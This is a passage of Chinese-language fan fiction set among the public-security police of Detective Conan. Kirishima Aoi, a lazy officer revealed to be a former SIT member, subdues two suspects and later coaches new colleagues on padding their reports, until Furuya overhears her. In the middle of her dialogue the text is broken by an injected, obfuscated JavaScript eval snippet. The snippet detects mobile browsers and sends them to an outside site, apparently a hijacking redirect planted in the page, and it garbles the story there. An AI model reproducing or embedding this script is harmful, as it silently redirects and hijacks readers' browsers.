她皱了皱眉，从口袋里掏出一张湿巾，试图擦拭，但效果甚微。
“差不多得了。”她小声嘀咕，放弃了。
然后她转向风见，表情又恢复成平时那种懒洋洋的样子：“风见前辈，现在信号应该好了吧？可以叫支援了。”
风见愣愣地看着她，又看了看地上被制服的两个人，最后目光回到她脸上。
“……你刚才……”
“嗯？”
“那些动作……你……”
雾岛葵眨眨眼：“哦，你说那个啊。我以前在警校学过一点防身术，差不多得了，好久没练都生疏了。”
这绝不仅仅是警校学过一点防身术的程度。风见自己也是警校优秀毕业生，他看得出刚才那些动作的专业性，简洁，高效，没有多余花哨，完全是实战中打磨出来的技巧。
但他没再追问，只是默默拿出手机，这次信号满格。他迅速拨通降谷零的号码。
“降谷先生，这里是风见。目标已控制，两人，位置是……”
一小时后，公安大楼。
降谷零的办公室里，风见裕也正在单独汇报情况。
“她当时真的在买泡芙？”
“是的。”风见低下头，“限量款，海盐焦糖口味。”
“然后因为闻到咖啡香，去了那条小巷？”
“是的。”
“然后目击交易，拍照，发短信，装猫叫，安全撤离？”
“是的。”
风见就像复读机一样，办公室里安静了几秒。
“……然后雾岛桑就……制服了他们。”风见斟酌着用词，“动作很快，很专业。那个戴口罩的男人明显是职业的，但完全没反应过来就被……”
风见裕也终于忍不住了：“降谷先生，雾岛桑她……那些体术……”
降谷零看了他一眼：“她是前SIT成员。”
办公室里安静了两秒。
风见裕也的眼睛瞪大了：“S……SIT？特殊事件搜查班？那个突击队？”
降谷零继续说下去：“三年前，雾岛在SIT服役期间参与过十七次高危行动，四次获得行动嘉奖。她的近身格斗和枪械考核成绩都是同期第一。”
风见回想起雾岛葵，那个总是迟到早退，报告敷衍，整天想着怎么偷懒的下属。那个为了买泡芙能改变巡逻路线，为了午睡能在办公室搭帐篷的咸鱼。
前SIT精英？同期第一？
“为什么……”风见喃喃道。“她明明那么厉害却……”
风见还处在震惊中没回过神来。降谷零拿起一份文件，淡淡地说：“风见。”
“在！”
“今天的事，按规程写进报告。但关于雾岛的部分……”他顿了顿，“简明扼要即可。”
“……是。”
风见退出办公室时，脑子里还在回放巷子里的那一幕，雾岛葵冲出去的瞬间，那种凌厉的气势，那种完全不同于平日的眼神。
还有她制伏对手后，低头擦拭衣角时那声小小的差不多得了。
到底哪个才是真正的她？
走廊尽头，雾岛葵正在等电梯。她背对着这边，低头看着手机，背影看起来和平时没什么两样，懒散，随意，对一切都提不起劲。
但风见现在知道了。
那副懒散的外表下，藏着的是能瞬间制伏职业枪手的身手，是SIT精英。
电梯门开了。雾岛葵走进去，转身时看到了他，对他挥了挥手，脸上是平时那种敷衍的笑容。
然后电梯门关上，数字开始下降。
风见裕也站在原地，很久。
他终于明白，为什么降谷先生会对这样一个问题下属如此容忍。
有些鱼，就算躺在沙滩上装死，也改变不了它曾遨游深海的事实。
而深海出来的鱼，总有一天，会再次闻到海水的味道。
风见走后，降谷零看着电脑中的档案，三年前，雾岛葵执行的最后一个任务。
于横滨码头仓库地带执行搜检任务时，遭遇预先设伏。行动小队遭重火力袭击，任务失败。
搭档藤原美咲殉职。
预先设伏，这意味着情报很可能泄露了，或是行动模式被对方预判。
搭档殉职，降谷零的视线在这四个字上停留了片刻。他太清楚这四个字的重量了，清楚它背后所代表的那个冰冷瞬间，持续弥漫的硝烟味，以及此后每一个深夜可能袭来的，混杂着悔恨与无力的痛。
“为了逃避吗……”降谷零低声自语，关掉了档案页面。
他好像有点明白，黑田管理官为什么要把雾岛葵调过来了。
周四上午十点，公安大楼十五层茶水间。
三个新人围着雾岛葵，眼睛亮得像探照灯。这周他们已经被降谷零打回来五份报告了，现在看雾岛葵的眼神仿佛在看救命稻草。
“雾岛前辈，”鉴识科的新人早川声音发颤，“我昨天交的痕检报告，降谷先生批注重点模糊，逻辑混乱，重写。可我已经写了八页啊……”
网络犯罪科的竹内推了推眼镜，黑眼圈深重：“我那份代码漏洞分析，他让我简化到能看懂为止。但我写的都是专业术语啊……”
数据分析员小山更惨：“他说我的数据堆砌像超市促销传单……”
雾岛葵慢悠悠地搅拌着杯子里那杯加了三块方糖的咖啡，抬起眼皮：“你们的问题啊，就是太认真了。”
三人愣住。
“认真不好吗？”早川弱弱地问。
“好，但要用对地方。”雾岛葵喝了口甜得发腻的咖啡，“来，我教你们几招，怎么把活儿糊弄过去，还能让上司挑不出大毛病。”
她放下杯子，竖起一根手指：“第一招，字数不够，废话来凑。”
竹内眨眨眼：“可是降谷先生反对废话……”
“那要看是什么废话。”雾岛葵从包里掏出自己上周那份只有半页的行动报告，“看这段，根据现有情报及现场观察，初步判断目标行为模式符合常见规律。”
她抬头：“这句话什么意思？”
三人面面相觑。
“意思就是没什么特别的。”雾岛葵笑了，“但听起来是不是很专业？这叫正确但无用的废话，专门用来填充段落，显得你思考了。”
小山恍然大悟：“所以不用真的写出什么深刻见解，只要说得像那么回事就行？”
“聪明。”雾岛葵竖起第二根手指，“第二招，不会写的部分，就往需进一步调查上推。”
她举例：“如果你分析不出数据关联，就写数据呈现复杂特征，建议深入挖掘。如果你看不出痕迹指向，就写需结合多角度证据综合分析。如果你看不懂代码逻辑，这个简单，存在非典型结构，建议专业团队复核。”
早川目瞪口呆：“这，这不是推卸责任吗？”
“这叫严谨的工作态度。”雾岛葵面不改色，“承认自己能力有限，建议团队协作，多谦虚啊。”
竹内已经开始记笔记了。
“第三招，”雾岛葵压低声音，三人不自觉地凑近
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055226|194872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，“最重要的一招，交报告的时间点，比内容更重要。”
她看了看墙上的钟：“现在十点十分。如果报告截止时间是下午五点，你们打算什么时候交？”
“提前交吧，显得积极……”小山说。
“错。”雾岛葵摇头，“提前交，他会仔细看，容易挑刺。卡着五点交，他急着下班，只会扫一眼重点。如果拖到五点零五分，前提是有合理借口，他可能直接说明天再说，你就多了一晚上时间修改。”
早川的三观受到了冲击：“这，这太……”
“太实用？”雾岛葵接过话，“记住，上司也是人，也会累，也想下班。利用人性弱点，是职场生存必备技能。”
茶水间里安静了几秒。
然后竹内小声问：“那……如果被发现了怎么办？”
“那就用第四招。”雾岛葵露出神秘的微笑，“诚恳认错，坚决不改。”
她模仿着语气：“降谷先生批评得对，我确实经验不足，思考不够深入。我会认真反思，努力提升，说完，下次还这么干。只要态度够好，内容嘛……差不多得了。”
三人呆若木鸡。
雾岛葵看了看表：“好了，今天先教这些。实践出真知，你们先试试。下节课教你们如何在会议上发言十分钟但什么都没说，简称为废话文学。”
她端起咖啡杯，哼着小调走出了茶水间。
茶水间门外，降谷零背靠着墙，手里的文件已经被捏出了褶皱。
他全都听到了。
每一个字。
“糊弄过去”，“正确但无用的废话”，“利用人性弱点”，“诚恳认错，坚决不改”……
紫灰色的眼睛里酝酿着风暴。
五分钟后，雾岛葵被叫进办公室时，还一脸无辜地端着那杯没喝完的咖啡。
“听说你在开班授课？”降谷零的声音很平静，平静得可怕。
雾岛葵心里咯噔一下，但表情不变：“同事间交流些工作心得……”
“教他们怎么糊弄工作的心得？”
“是提高效率的方法……”雾岛葵试图挣扎。
“用废话填充报告叫提高效率？卡着截止时间交叫提高效率？诚恳认错，坚决不改叫提高效率？”降谷零每问一句，声音就冷一分。
雾岛葵闭嘴了，看来他听得挺全。
“既然你这么有空教别人怎么偷懒，”降谷零从抽屉里抽出一份文件，“这个任务交给你。”
雾岛葵接过，看了一眼就瞪大眼睛：“中岛翔太住处监视？周末两天？全天候？”
“周六周日，早上八点到晚上八点。”降谷零语气不容置疑，“住处对面仓库二楼观察点。记录所有进出人员，特别留意是否有同伙去取遗留物品。”
“可是降谷先生！”雾岛葵终于忍不住了，“这是周末！而且全天十二小时！这违反了《劳动基准法》第三十五条关于休息日工作的规定，第三十六条也明确要求……”
“公安特殊勤务，已经报备过了。”降谷零打断她，“当然，如果你不想去，可以写一份五万字关于公安工作特殊性与劳动者权益平衡的论文，下周一交。”
五万字论文vs两天监视。
雾岛葵张了张嘴，最后咬牙：“……我去。”
“很好。”降谷零点头，“现在去准备。记住，我要看到详细的观察记录，不要废话，不要需进一步调查，不要卡点交。”
雾岛葵垂头丧气地走出办公室。
门关上后，降谷零揉了揉眉心。